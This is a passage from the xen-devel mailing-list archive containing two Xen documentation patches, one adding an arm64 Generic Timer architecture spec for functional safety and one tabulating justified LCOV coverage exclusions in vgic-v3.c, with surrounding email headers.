 rLWYKGkYdMkUsUy/0Va2I1p4ZXMsFIZlSblZ87c0tpvaJWF3Mmko/yxiakoi4bxk2plENFYYbgrOcaYiIsdi0LllA4j/ZBszowdnyjAKOuC0l57eEKjNfBzh2L2q+912cmLNR4ifmtoS+fdYmdXEfdQx6MbxdTS3JeA4TdLz24axWcgS1hV82ocIXYVoQRrd5sdi1E1hLpdKt8444F37yel/uFU56sB+Ye1dYbskNJIb2iD4bgUwKnB8BV6+WUZrEqkdw3KSQjzfcCIHb/y+BCyBXUMuWVB7Q6KfnYu+Ihp2ZYmniOg8Ue4JtYljC3T+3Cl3Q2gUjmUnPb1xsIDx7kgaOhHiUsPm0XTiwuiHKP8id/40QZ9yykW+Uv/wwm1RkWofq6swHUnJgScVpcAvHqkbL15SKC7Qy87eYj1f27Jlc8HYoiyl9beOGe1XFVRm
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 21 Jul 2026 12:47:49.0525
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 604ef56f-17fa-40a4-bf95-08dee7264557
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource: DS2PEPF000061C5.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV3PR12MB9215
X-purgate-ID: tlsNG-ef75cf/1784638076-A4ECEAE4-DDE2BFCC/0/0
X-purgate-type: clean
X-purgate-size: 11562

An architecture specification is a prose document that describes how Xen
uses a particular piece of hardware: what the hardware does, which parts
of it Xen drives directly, which parts it emulates on behalf of a guest,
and how the two interact over the lifetime of a VM. It sits between the
high-level requirements and the source code, giving a reviewer or
safety assessor a readable explanation of the design without having to
reconstruct it from the code, and it is the anchor that the design
requirements trace to.

This adds the arm64 generic timer architecture spec, which explains
Xen's usage of the Arm Generic Timer: the system counter and the
physical and virtual timers, how Xen sets up the timer for a VM at
creation, and how it traps, emulates and injects timer interrupts while
the VM runs. The spec's Covers list points at the existing
XenSwdgn~arm64_generic_timer_* design-requirement IDs, matching the OFT
tag convention already used throughout docs/fusa/reqs/design-reqs.

Wire the section into the docs/fusa toctree.

Signed-off-by: Michal Orzel <michal.orzel@amd.com>
Signed-off-by: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
---
The architecture spec explains the detailed design of a component in Xen.
Together with design requirements, the architecture spec helps to define the
test cases to prove that the component can be used in a safety environment.

 .../fusa/architecture_specs/generic_timer.rst | 215 ++++++++++++++++++
 docs/fusa/architecture_specs/index.rst        |   9 +
 docs/fusa/index.rst                           |   1 +
 3 files changed, 225 insertions(+)
 create mode 100644 docs/fusa/architecture_specs/generic_timer.rst
 create mode 100644 docs/fusa/architecture_specs/index.rst

diff --git a/docs/fusa/architecture_specs/generic_timer.rst b/docs/fusa/architecture_specs/generic_timer.rst
new file mode 100644
index 0000000000..6caeffca13
--- /dev/null
+++ b/docs/fusa/architecture_specs/generic_timer.rst
@@ -0,0 +1,215 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+Generic Timer
+=============
+
+`XenArch~arm64_generic_timer~1`
+
+Covers:
+ - `XenSwdgn~arm64_generic_timer_probe_dt~1`
+ - `XenSwdgn~arm64_generic_timer_read_freq~1`
+ - `XenSwdgn~arm64_generic_timer_access_cntkctlel1~1`
+ - `XenSwdgn~arm64_generic_timer_access_virtual_timer~1`
+ - `XenSwdgn~arm64_generic_timer_access_physical_timer~1`
+ - `XenSwdgn~arm64_generic_timer_trigger_virtual_interrupt~1`
+ - `XenSwdgn~arm64_generic_timer_trigger_physical_interrupt~1`
+
+Needs:
+ - XenVerTestCase
+
+This document aims to explain the usage of Arm generic timer during the
+lifetime of a VM.
+
+Introduction
+------------
+
+The Generic Timer:
+
+- provides a system counter that measures the passing of time in real-time,
+- supports virtual counters that measure the passing of virtual-time. That is,
+  a virtual counter can measure the passing of time on a particular
+  virtual machine,
+- can trigger events after a period of time has passed.
+
+Types of timers
+---------------
+
+Xen exposes two types of timer on behalf of VM's lifetime:
+
+- physical timer
+- virtual timer
+
+::
+
+    +------------------+
+    |  System Counter  |
+    +--------+---------+
+             | System Time Bus
+             +----------------------------+
+             |                            |
+             |                            v
+             |                        +-------+       +----------+
+             |                        |   -   |<------|  CNTVOFF |
+             |                        +---+---+       +----------+
+             |                            |
+             v                            v
+        +---------+                  +---------+
+        |  CNTPCT |                  |  CNTVCT |
+        +---------+                  +---------+
+        +---------+                  +---------+
+        | Physical|                  | Virtual |
+        |  Timer  |                  |  Timer  |
+        +---------+                  +---------+
+    ( PE )
+
+The physical timer measures the passage of time in relation to the physical
+counter. It is used to broadcast the wall-clock time (i.e. the number of clock
+cycles since Xen boot). It is accessed by the following registers:
+
+- CNTPCT_EL0 - physical count value
+- CNTP_CTL_EL0 - control register
+- CNTP_CVAL_EL0 - compare value register
+- CNTP_TVAL_EL0 - timer value register
+
+The virtual timer measures the passage of time in relation to the virtual
+counter. It is used to broadcast the virtual time (physical - offset). Offset is
+set by Xen (CNTVOFF_EL2 register) during VM creation. As a result, the virtual
+time will report time from the creation of the VM. It is accessed by the
+following registers:
+
+- CNTVCT_EL0 - virtual count value
+- CNTV_CTL_EL0 - control register
+- CNTV_CVAL_EL0 - compare value register
+- CNTV_TVAL_EL0 - compare value register
+
+CNTFRQ_EL0 reports the frequency of the system counter. However, this register
+is not populated by hardware. The register is write-able at the highest
+implemented Exception level and readable at all Exception levels. Firmware,
+typically running at EL3, populates this register as part of early system
+initialization. Higher-level software, like an operating system, can then use
+the register to get the frequency.
+
+Generic timer usage during VM creeation
+---------------------------------------
+
+While preparing the device tree for a VM, Xen creates a timer node (based on the
+spec[1]) for the VM. For this, host device tree is expected to have a node for
+the generic timer.
+
+During the VM creation, Xen sets the offset (CNTVOFF_EL2) used to broadcast the
+virtual time for a VM and assigns the following per processor interrupts for
+timers.
+
+.. list-table::
+   :header-rows: 1
+
+   * - Name
+     - Interrupt id
+
+   * - Virtual timer
+     - 27
+
+   * - physical secure timer
+     - 29
+
+   * - physical non secure timer
+     - 30
+
+Xen reserves the 27, 29 and 30 interrupt ids in the virtual GIC. The exception
+to this is for hardware VM, where the VM will be assigned interrupt numbers the
+same as in the host device tree.
+
+The parent interrupt is linked to the Generic interrupt controller node.
+
+If the host device tree node for the generic timer contains the property
+"clock-frequency", the same is passed on to the guest device tree.
+
+During the VM vCPU creation, Xen initializes the internal/background timers (one
+for physical timer and one for virtual timer).
+
+Generic timer interface between Xen and VM
+------------------------------------------
+
+VM can make use of both the physical and virtual timer.
+
+Physical timer
+^^^^^^^^^^^^^^
+
+Xen traps accesses to system registers related to physical timer (except
+CNTPCT_EL0). This is done to allow Xen to emulate the physical timer for a VM
+(e.g. checking the right access, taking into account the time when Xen was not
+running). Xen does not route the physical timer interrupt to guest or itself.
+Instead, it makes use of the internal timer used for the physical timer
+emulation to schedule the interrupt injection into the VM.
+
+The flow can be depicted as follows:
+
+::
+
+    +---------------------------------------------------+
+    | VMs read or write                                 |
+    | any of CNTP_CTL, CNTP_CVAL, CNTP_TVAL             |
+    +-------------------------+-------------------------+
+                              |
+                              v
+    +---------------------------------------------------+
+    | MSR/MRS instruction is trapped by Xen             |
+    +-------------------------+-------------------------+
+                              |
+                              v
+    +---------------------------------------------------+
+    | Xen reads or writes to the register               |
+    | on behalf of VM                                   |
+    |                                                   |
+    |  1. For read access : Xen returns the value from  |
+    |     the VM's vcpu physical timer context.         |
+    |  2. For write access : Xen saves the value in the |
+    |     VM's vcpu physical timer context. Depending   |
+    |     on the value, it schedules the internal timer |
+    |     for interrupt injection.                      |
+    |                                                   |
+    |  Increments the VM program counter                |
+    |  and returns control to VM.                       |
+    +---------------------------------------------------+
+
+Virtual timer
+^^^^^^^^^^^^^
+
+Xen does not trap accesses to system registers related to virtual timer.
+The timer context (i.e. content of timer registers) is saved/restored during the
+vCPU context switch. At save time, Xen initializes an internal timer to make
+sure the VM's vCPU is scheduled at the time of the next virtual timer interrupt.
+The virtual timer interrupt is first routed to Xen, masked and injected into the
+VM. The interrupt behave in a level-sensitive manner, meaning the timer will
+continue to signal the interrupt until one of the following situations occurs:
+
+- interrupt is masked
+- timer is disabled
+- firing condition is no longer met
+
+Xen masks the interrupt (using the CNTV_CTL_EL0 register) before injecting it
+into the VM to avoid an interrupt storm that could otherwise occur if the VM
+did not handle the interrupt properly.
+
+Error propagation
+-----------------
+
+The following Generic Timer device-tree faults observed during early boot
+trigger an unrecoverable panic:
+
+- No device-tree node advertising a compatible ARM Generic Timer
+  identifier (for example "arm,armv8-timer"): Xen matches the timer by the
+  node's "compatible" property rather than its name, so if no node carries
+  a supported timer compatible string the lookup returns nothing and Xen
+  panics with "Unable to find a compatible timer in the device tree".
+- Timer node with a "clock-frequency" value less than 1000: Xen cannot
+  derive a usable timer rate and panics with "Timer frequency is less
+  than 1 KHz".
+- Timer node missing the "interrupts" property (or whose interrupts entry
+  for the timer in use cannot be parsed): Xen cannot retrieve the timer
+  IRQ from the device tree and panics with "Timer: Unable to retrieve IRQ
+  N from the device tree" (where N identifies which of the timer
+  interrupts could not be parsed).
+
+| [1] Arm Architecture Reference Manual for A-profile architecture, Chapter 11
+| [2] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/devicetree/bindings/timer/arm,arch_timer.yaml
diff --git a/docs/fusa/architecture_specs/index.rst b/docs/fusa/architecture_specs/index.rst
new file mode 100644
index 0000000000..395e3c1225
--- /dev/null
+++ b/docs/fusa/architecture_specs/index.rst
@@ -0,0 +1,9 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+Architecture specifications
+===========================
+
+.. toctree::
+   :maxdepth: 2
+
+   generic_timer
diff --git a/docs/fusa/index.rst b/docs/fusa/index.rst
index dd5ca4dd95..88aaafe7a6 100644
--- a/docs/fusa/index.rst
+++ b/docs/fusa/index.rst
@@ -7,4 +7,5 @@ Functional Safety documentation
    :maxdepth: 2
 
    reqs/index
+   architecture_specs/index
    coverage_gap
-- 
2.25.1



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 12:48:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 12:48:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367768.1617444 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm9t6-0001iC-KS; Tue, 21 Jul 2026 12:47:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367768.1617444; Tue, 21 Jul 2026 12:47:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm9t6-0001hS-Gh; Tue, 21 Jul 2026 12:47:56 +0000
Received: by outflank-mailman (input) for mailman id 1367768;
 Tue, 21 Jul 2026 12:47:55 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wm9t4-0001fH-OR
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 12:47:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm9t4-00DDDW-4Z
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 14:47:54 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6a73-e002-0a2a0a5209dd-0a2a4508b7f8-24
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 14:47:53 +0200
Received: from [40.107.208.16]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6a77-f659-0a2a45080019-286bd010de87-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 14:47:53 +0200
Received: from CH2PR18CA0054.namprd18.prod.outlook.com (2603:10b6:610:55::34)
 by DM4PR12MB6637.namprd12.prod.outlook.com (2603:10b6:8:bb::14) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Tue, 21 Jul
 2026 12:47:44 +0000
Received: from CH2PEPF0000013F.namprd02.prod.outlook.com
 (2603:10b6:610:55:cafe::21) by CH2PR18CA0054.outlook.office365.com
 (2603:10b6:610:55::34) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Tue,
 21 Jul 2026 12:47:44 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH2PEPF0000013F.mail.protection.outlook.com (10.167.244.71) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Tue, 21 Jul 2026 12:47:44 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 21 Jul
 2026 07:47:43 -0500
Received: from xcbayankuma40.xilinx.com (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via
 Frontend Transport; Tue, 21 Jul 2026 07:47:42 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gSHVssB4Q51BkAcQx1H3FEo4RctKr4L6ZX+1mQT9Vg9PafZRtCCz6OeR6gIohjbf4l2RCKjrrQ8A5N9aCf15TaYXc0bj6v2Cw56VYNXzfx1qJnfYUOp2riwjIDG3EUtAt8La6RJazADIhNR4kMi78vuWYLZiUSdBBwd5mbnaClPLY0WZNLXjINwf7/FTje/UNPTCD+f1md48wzSXiKi/F4GYkdAq02XjKMFOKnvF6g7gWgzlGHJPvq8Z/7hA+C3KuLaFa8/lu5LCHYFVjLBr/3DVPN/3h6FV67JdYfx9zgSwXQDLC0nf2+ZMdFeVPIVpogXsRgur72aaEOLQCJDyXw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=SUSjBQWLuFv3CPjFfgFpFtwWFlLf05ull2d9xnMh11Y=;
 b=VcnifDg0HBQAczDEI88jo0ASglasEvdEg6IObfXbP0Ulf/Q7joEA21omkOf/HgblH4w2F/NCrphUZY9RcGcfPGuEozFiRamiEAo+mFsEHAqNs0OmHEzHIetMolpcKTvxvQjCm4pvTnpilUn5mgNy/bVUof71ZeW3IJv1KpdvQDTKH64G1HUDJIN9dFIpikbkCw++HyCfFHLaMod5a2xO0X+A3AmCsJY3CkGnqyZ1YVF2Jbo8BLR32K93Vnj5fljeioxLUqIjHvMujgOdKsMApfFDlTdR1fDmMg3JXTh+kSMT4GfgFGVGMB2qejeIGgu2YbUY8PNw6dMiSXBnGZnBiQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=SUSjBQWLuFv3CPjFfgFpFtwWFlLf05ull2d9xnMh11Y=;
 b=3t15OOdrl3yqYGDcQQ408QraWVjBSTG7i2yWJwBd1vFGtXMd+OSuBwTh7t7ABWKIYCVZyPRwkteN88sUgj2X7R0Ym8XQpfeDg6NV56Q5EkdbgpYaB/EQD4HqpV44QpJFn9zKtCa8KhXQIgf5Kc1DMwUwX6LQ8JEK7CWQhKOTR/A=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Ayan Kumar Halder <ayan.kumar.halder@amd.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Artem Mygaiev
	<artem_mygaiev@epam.com>, <matthew.l.weber3@boeing.com>,
	<harunobu.kurokawa.dn@renesas.com>
Subject: [XEN PATCH v1 1/2] docs/fusa: add coverage_gap.rst tabulating vGICv3 LCOV exclusions
Date: Tue, 21 Jul 2026 13:47:28 +0100
Message-ID: <20260721124729.868630-2-ayan.kumar.halder@amd.com>
X-Mailer: git-send-email 2.25.1
In-Reply-To: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
References: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH2PEPF0000013F:EE_|DM4PR12MB6637:EE_
X-MS-Office365-Filtering-Correlation-Id: b34e0f29-8afa-493c-797b-08dee7264274
X-LD-Processed: 3dd8961f-e488-4e60-8e11-a82d994e183d,ExtAddr
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
 BCL:0;ARA:13230040|23010399003|376014|36860700016|1800799024|82310400026|6133799003|11063799006|10067099003|5023799004|56012099006|9063799003|8126099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
 1grJs7c4UohdSq0ZFiuc4dqzSLGXI/ij0qalWo1DTxWzE+CpyDICOSEUagHsinVD5aikhS0Vpr8c17S4ojj7XZq0dpkVjW4sfd0OG6nr5XWiwln6+DunqbYsmlkxdGzl7pwCwQfLZM/zhvf9vOLy1d5GuV8kXxWsdpU2thJnCdDVVUTjGA/1ozrZ4pCeqllM1FZhFCZZxgHOZmzNzUmuYcFYRJSqBCoYbmnb0wQBgxHULOB4WeLL2e1LuIFcI9lg6NgXA5djn4kcNOypEQyrxR717mKsUGAzsk76e62EJHlkxdkC/81GVKnjVAkFFbG7SuKIy8zCkcTJmXINXrz32sIN9eLq4vxQSGtozuJCo3A6HTmiKNJnpPmmtixWGVCrcVYgw28CTg5Cz4Qpbfy2vdoxxbxWIDqUxQQ6r+DvUhoSxhbe78EwZHhGwCTQoN0tGkIobkuxVRSI4fNBRXIe0GofQPJeEoFg5FK8lllA3x3bU3F51wHNMq+0Dn2YrrA50J/YhSdT5y4Z0scEv1K4sK/la7jgTwGzHX31cAnc6PFAyyBYybn8RSM9e2VxWobAD0uG4lhS95+NiXZS1SQe3jBv0anWN2RQphSbL1lJ/Y0a5/q1BzcsUa0MHvF34c+D/GSUkdb3NwYOMWBL80y3IGGdLxIMmYoeebhi5+nQG3D+OdaPrMJ8ogb9zdDPFNc3wFkkWv9mhvG5D+TZiIz/GQ==
X-Forefront-Antispam-Report:
 CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(376014)(36860700016)(1800799024)(82310400026)(6133799003)(11063799006)(10067099003)(5023799004)(56012099006)(9063799003)(8126099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
 d3/mHFy8GUB7IdC1JcDT44apUUvmjpGQWPMMyTjK5H76SjJ5/kyU6YI+WorIcrUZNnKGL8uSfbIFNthJPai0RnaCTxo5Ket7wluj696K4lwx33H1aN17KnK3GLFt8SVkVqjmmYihmWTmZDlj1nJoiEmbbArDIpBGRoo/rHYMXS0V8HL05pL3ZcNIrn2/vMKfRInZH+DgcJ+enzdWJzxoaCBkYtsTTmVuO4t8Q+ul7i4AaPadS7LsZHnHBnaITnhAFATYT1+BpXuDqMRSzhTemY8Dj0GU+KxdZTbhDxkIv0lQzTJxNqWzu8jOiTLQ+vxy5qZ97v0+oHW/EablzkfnVmvh+QL5dElU82qLRRxc0RJUxGgLhtr0/BshWOLihmGXVNKzyBYboZl0A6bVO+RXiTmxlqRkcLGoaSBx6XrOE5SlHmMXC4n2NOwMcqZrR5nS
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 21 Jul 2026 12:47:44.2332
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b34e0f29-8afa-493c-797b-08dee7264274
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource: CH2PEPF0000013F.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM4PR12MB6637
X-purgate-ID: tlsNG-c1860d/1784638073-CE54487B-CCD02B75/0/0
X-purgate-type: clean
X-purgate-size: 3999

Some code is unreachable by design (for example a defensive default arm
of a switch that no caller can reach) and can therefore never be
executed by any test. Such code shows up as a permanent gap in the
coverage report even though it is correct. To keep the report meaningful
we exclude these regions from coverage, but every exclusion must be
justified and reviewable so that a genuine gap is never hidden behind an
LCOV marker. This file is that record: it gives each exclusion a stable
id, points at the excluded source, and states why the code is
unreachable and what would make it reachable again.

Record the LCOV_EXCL regions in xen/arch/arm/vgic-v3.c as a table with
columns coverage_gap_id, file, line numbers and SHA, plus a
justification taken from each COV-GAP-VGICV3 "Reason for exclusion".

Use upstream xen (xenbits/master) line ranges and SHA, with line numbers
given in vgic-v3.c:Lstart-Lend notation, and state explicitly that each
excluded default arm becomes reachable only if a caller is modified to
forward an offset the handler has no case for, at which point the
exclusion must be removed. Wire the file into the docs/fusa toctree.

Signed-off-by: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
---
The coverage gap justification may be used to state why a piece of code
cannot be tested within the scope of our safety and it cannot be removed
as well. Thus, we use the justification to analyse and document the
behavior of untested code in safety certifiable Xen.

 docs/fusa/coverage_gap.rst | 41 ++++++++++++++++++++++++++++++++++++++
 docs/fusa/index.rst        |  1 +
 2 files changed, 42 insertions(+)
 create mode 100644 docs/fusa/coverage_gap.rst

diff --git a/docs/fusa/coverage_gap.rst b/docs/fusa/coverage_gap.rst
new file mode 100644
index 0000000000..9d14f7b264
--- /dev/null
+++ b/docs/fusa/coverage_gap.rst
@@ -0,0 +1,41 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+Coverage gaps
+=============
+
+This table documents the ``LCOV_EXCL`` regions in the Xen source. Each excluded
+region is tagged in the source with a ``COV-GAP-<COMPONENT>-NNN`` marker that
+matches an entry below. A region is excluded from the coverage report only when
+it is unreachable by design, so it can never be reported as covered.
+
+.. list-table::
+   :header-rows: 1
+   :widths: 15 25 10 12 38
+
+   * - coverage_gap_id
+     - file
+     - line numbers
+     - SHA
+     - justification
+   * - COV-GAP-VGICV3-001
+     - xen/arch/arm/vgic-v3.c
+     - L796-L800
+     - 351d41e8aecc3f7566a0baa7b4066d06dedd7113
+     - Both callers select the register offset with their own ``switch`` and
+       forward only offsets the handler has an explicit ``case`` for, so no
+       forwarded offset can fall through to ``default:``. (The SGI_base-frame
+       ``GICR_*`` offsets one caller forwards are numerically equal to the
+       ``GICD_*`` offsets the handler cases on.) The ``default:`` is kept as
+       defensive programming; it becomes reachable only if a caller is
+       modified to forward an offset the handler has no ``case`` for, at
+       which point this exclusion must be removed.
+   * - COV-GAP-VGICV3-002
+     - xen/arch/arm/vgic-v3.c
+     - L954-L958
+     - 351d41e8aecc3f7566a0baa7b4066d06dedd7113
+     - Same design as COV-GAP-VGICV3-001, for the write path: both callers
+       forward only offsets the handler has an explicit ``case`` for, so the
+       ``default:`` arm cannot be reached and is kept as defensive
+       programming; it becomes reachable only if a caller is modified to
+       forward an offset the handler has no ``case`` for, at which point this
+       exclusion must be removed.
diff --git a/docs/fusa/index.rst b/docs/fusa/index.rst
index 5f1e8acfc4..dd5ca4dd95 100644
--- a/docs/fusa/index.rst
+++ b/docs/fusa/index.rst
@@ -7,3 +7,4 @@ Functional Safety documentation
    :maxdepth: 2
 
    reqs/index
+   coverage_gap
-- 
2.25.1



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 12:48:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 12:48:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367767.1617440 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm9t6-0001fa-Cs; Tue, 21 Jul 2026 12:47:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367767.1617440; Tue, 21 Jul 2026 12:47:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm9t6-0001fS-8H; Tue, 21 Jul 2026 12:47:56 +0000
Received: by outflank-mailman (input) for mailman id 1367767;
 Tue, 21 Jul 2026 12:47:55 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wm9t4-0001fG-LY
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 12:47:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm9t3-00DDDW-JI
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 14:47:53 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6a61-e002-0a2a0a5209dd-0a2a45028bde-48
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 14:47:53 +0200
Received: from [52.101.53.46]
 (helo=BL0PR03CU003.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6a78-6ca4-0a2a45020019-3465352eae6c-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 14:47:53 +0200
Received: from CH2PR03CA0019.namprd03.prod.outlook.com (2603:10b6:610:59::29)
 by BL1PR12MB5803.namprd12.prod.outlook.com (2603:10b6:208:393::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.10; Tue, 21 Jul
 2026 12:47:43 +0000
Received: from CH2PEPF0000013C.namprd02.prod.outlook.com
 (2603:10b6:610:59:cafe::73) by CH2PR03CA0019.outlook.office365.com
 (2603:10b6:610:59::29) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Tue,
 21 Jul 2026 12:47:41 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH2PEPF0000013C.mail.protection.outlook.com (10.167.244.73) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
